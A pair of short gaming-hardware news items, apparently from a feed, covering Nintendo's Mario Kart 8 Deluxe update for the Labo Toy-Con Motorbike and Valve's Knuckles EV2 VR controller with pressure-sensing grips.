Think your friends would be interested? Share this story!
]]>
In a surprise announcement this morning, Nintendo revealed a free downloadable update for Mario Kart 8 Deluxe that will allow the Switch game to be controlled using the Toy-Con Motorbike controller constructed with the Nintendo Labo Variety Kit.
As shown in a brief preview video, the cardboard enclosure uses the Joy-Con’s gyroscopic motion sensing to detect a handle twist for acceleration and leaning to steer. Cardboard protrusions on the motorbike controller can push buttons on the Joy-Cons to activate items, braking, and drifting. Four sets of motorbike controllers can be used on the game simultaneously.
The setup reminds us of nothing so much as the plastic Wii Wheel accessory that came with Mario Kart Wii, albeit with a bit more assembly required—Nintendo recommends 90 to 150 minutes to put together the Toy-Con motorbike.
]]>
Valve originally introduced its vertical-grip “Knuckles” controllers for VR in 2016, and shipped working models to developers last year. Now the company sending game makers another version, the EV2, that has revamped buttons, straps and a slew of sensors that essentially translate finger motion and pressure to let you touch, grab and squeeze objects inside games.
Some of the EV2’s changes are evident: The old Steam Controller-style touchpad that dominated the controller’s top has been shrunken to an oval ‘track button’ that measures touch and force. That’s flanked by traditional inputs: A joystick (by developer demand, Valve noted in a blog post) and standard circular buttons. The strap is adjustable for different hand sizes and pulls tight to let players let go of the controller completely without dropping it — which could be key for the pressure inputs.
While last year’s model had touch inputs tracking each finger in the ‘grip’ area, the EV2 introduces pressure sensors that measure how much force the wielder is using. Obviously, this has implications for VR developers who want players to grip or squeeze objects in the world, but as Valve’s blog post points out, combining those with the touch sensors tells games when players let go of the grips — like, say, when they’re throwing things in-game. Imagine how this could allow throwing different baseball pitches, let alone introducing different control schemes.
Lastly, the battery life has been extended to last six hours. Below is a gameplay video of Moondust, a Valve-made demo (set in the Portal universe, natch) that lets developers fiddle with the full range of the EV2’s capabilities. Sadly, there’s no indication that Valve’s latest Knuckles controller is near its final form and ready for the consumer market.
Via: CNET
Source: Steam blog
]]>